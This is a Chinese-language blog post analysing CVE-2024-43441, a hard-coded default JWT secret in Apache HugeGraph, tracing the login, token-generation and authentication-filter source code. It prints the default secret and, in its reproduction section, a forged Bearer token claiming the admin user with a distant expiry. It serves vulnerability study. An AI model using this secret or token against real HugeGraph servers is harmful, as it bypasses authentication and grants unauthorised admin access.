Apache HugeGraph JWT Token密钥硬编码漏洞代码分析(CVE-2024-43441)
follycat Lv3

漏洞成因及利用条件

用户启用了认证但未配置auth.token_secret时,HugeGraph将使用一个硬编码的默认JWT密匙,默认密匙可以在官方文档中看到,其值为_FXQXbJtbCLxODc6tGci732pkH1cyf8Qg_。

JWT构造规则分析

因为代码文件太多了,所以找JWT构造规则的时候会比较困难,所以,可以想到哪里会利用JWT的构造,就是登录的时候。

先找到LoginAPI,其中登录的部分

看到token构造的代码在这段里。

1
2
3
4
try {  
String token = manager.authManager().loginUser(jsonLogin.name, jsonLogin.password);
HugeGraph g = graph(manager, graph);
return manager.serializer(g).writeMap(ImmutableMap.of("token", token));}

然后可以跟进到GraphManager的authManager()方法中

1
2
3
public AuthManager authManager() {  
return this.authenticator().authManager();
}

可以发现没有我们需要的信息,并且返回一堆函数的调用,所以继续跟进到authenticator()

1
2
3
4
5
6
private HugeAuthenticator authenticator() {  
E.checkState(this.authenticator != null,
"Unconfigured authenticator, please config " +
"auth.authenticator option in rest-server.properties");
return this.authenticator;
}

该方法只是检查this.authenticator是否为空,如果为空就会抛出异常,不为空就重新返回authenticator。

所以跟进authManager().loginUser方法,在src/main/resources /StandardAuthManager.java中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public String loginUser(String username, String password)  
throws AuthenticationException {
HugeUser user = this.matchUser(username, password);
if (user == null) {
String msg = "Incorrect username or password";
throw new AuthenticationException(msg);
}

Map<String, ?> payload = ImmutableMap.of(AuthConstant.TOKEN_USER_NAME,
username,
AuthConstant.TOKEN_USER_ID,
user.id.asString());
String token = this.tokenGenerator.create(payload, this.tokenExpire);

this.tokenCache.update(IdGenerator.of(token), username);
return token;
}

这段代码可以发现构造JWT中需要的一部分参数,AuthConstant.TOKEN_USER_NAME_以及_AuthConstant.TOKEN_USER_ID_,进入AuthConstant接口,可以发现这俩个参数就是_user_name_以及_user_id_,还有一个_tokenExpire 参数,不确定是有什么作用。

继续跟进tokenGenerator.create,找到auth/TokenGenerator.java文件

1
2
3
4
5
6
7
public String create(Map<String, ?> payload, long expire) {  
return Jwts.builder()
.setClaims(payload)
.setExpiration(new Date(System.currentTimeMillis() + expire))
.signWith(this.key, SignatureAlgorithm.HS256)
.compact();
}

进而发现构造jwt的参数所需的全部条件。

Token构造分析

用于用户认证的代码主要位于_org/apache/hugegraph/api/filter/AuthenticationFilter.java_中的authenticate方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
protected User authenticate(ContainerRequestContext context) {  
GraphManager manager = this.managerProvider.get();
E.checkState(manager != null, "Context GraphManager is absent");

if (!manager.requireAuthentication()) {
// Return anonymous user with an admin role if disable authentication
return User.ANONYMOUS;
}

// Get peer info
Request request = this.requestProvider.get();
String peer = null;
String path = null;
if (request != null) {
peer = request.getRemoteAddr() + ":" + request.getRemotePort();
path = request.getRequestURI();
}

// Check whiteIp
if (enabledWhiteIpCheck == null) {
String whiteIpStatus = this.configProvider.get().get(WHITE_IP_STATUS);
enabledWhiteIpCheck = Objects.equals(whiteIpStatus, STRING_ENABLE);
}

if (enabledWhiteIpCheck && request != null) {
peer = request.getRemoteAddr() + ":" + request.getRemotePort();
path = request.getRequestURI();

String remoteIp = request.getRemoteAddr();
Set<String> whiteIpList = manager.authManager().listWhiteIPs();
boolean whiteIpEnabled = manager.authManager().getWhiteIpStatus();
if (!path.contains(STRING_WHITE_IP_LIST) && whiteIpEnabled &&
!whiteIpList.contains(remoteIp)) {
throw new ForbiddenException(String.format("Remote ip '%s' is not permitted",
remoteIp));
}
}

Map<String, String> credentials = new HashMap<>();
// Extract authentication credentials
String auth = context.getHeaderString(HttpHeaders.AUTHORIZATION);
if (auth == null) {
throw new NotAuthorizedException("Authentication credentials are required",
"Missing authentication credentials");
}

if (auth.startsWith(BASIC_AUTH_PREFIX)) {
auth = auth.substring(BASIC_AUTH_PREFIX.length());
auth = new String(DatatypeConverter.parseBase64Binary(auth), Charsets.ASCII_CHARSET);
String[] values = auth.split(":");
if (values.length != 2) {
throw new BadRequestException("Invalid syntax for username and password");
}

final String username = values[0];
final String password = values[1];

if (StringUtils.isEmpty(username) || StringUtils.isEmpty(password)) {
throw new BadRequestException("Invalid syntax for username and password");
}

credentials.put(HugeAuthenticator.KEY_USERNAME, username);
credentials.put(HugeAuthenticator.KEY_PASSWORD, password);
} else if (auth.startsWith(BEARER_TOKEN_PREFIX)) {
String token = auth.substring(BEARER_TOKEN_PREFIX.length());
credentials.put(HugeAuthenticator.KEY_TOKEN, token);
} else {
throw new BadRequestException("Only HTTP Basic or Bearer authentication is supported");
}

credentials.put(HugeAuthenticator.KEY_ADDRESS, peer);
credentials.put(HugeAuthenticator.KEY_PATH, path);

// Validate the extracted credentials
try {
return manager.authenticate(credentials);
} catch (AuthenticationException e) {
throw new NotAuthorizedException("Authentication failed", e.getMessage());
}
}

首先,是Http头的限制

1
2
3
4
5
6
7
Map<String, String> credentials = new HashMap<>();  
// Extract authentication credentials
String auth = context.getHeaderString(HttpHeaders.AUTHORIZATION);
if (auth == null) {
throw new NotAuthorizedException("Authentication credentials are required",
"Missing authentication credentials");
}

这里从AUTHORIZATION中拿出Token,限制了Http头要为AUTHORIZATION并且不为空。

然后开始判断token的开头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (auth.startsWith(BASIC_AUTH_PREFIX)) {  
auth = auth.substring(BASIC_AUTH_PREFIX.length());
auth = new String(DatatypeConverter.parseBase64Binary(auth), Charsets.ASCII_CHARSET);
String[] values = auth.split(":");
if (values.length != 2) {
throw new BadRequestException("Invalid syntax for username and password");
}

final String username = values[0];
final String password = values[1];

if (StringUtils.isEmpty(username) || StringUtils.isEmpty(password)) {
throw new BadRequestException("Invalid syntax for username and password");
}

credentials.put(HugeAuthenticator.KEY_USERNAME, username);
credentials.put(HugeAuthenticator.KEY_PASSWORD, password);
} else if (auth.startsWith(BEARER_TOKEN_PREFIX)) {
String token = auth.substring(BEARER_TOKEN_PREFIX.length());
credentials.put(HugeAuthenticator.KEY_TOKEN, token);
} else {
throw new BadRequestException("Only HTTP Basic or Bearer authentication is supported");
}

首先第一个if判断Authorization 头是否为Basic,如果为Basic就进行账号密码的原始字符串判断,所以开头不能为base。

第二种判断Authorization 头是否为Bearer,这种就是可以利用的JWT认证。

漏洞复现

使用默认密匙构造jwt


按分析构造token

1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiJhZG1pbiIsImV4cCI6OTczOTUyNDU2N30.Kc_6-EtUz3J8lS9VZEfsEe4BFYz-GIg7SFFfGQ5VNeE

无token时,返回报错json

加入构造token。

!

 Comments
Comment plugin failed to load
Loading comment plugin
Please fill in the required configuration items for Valine comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View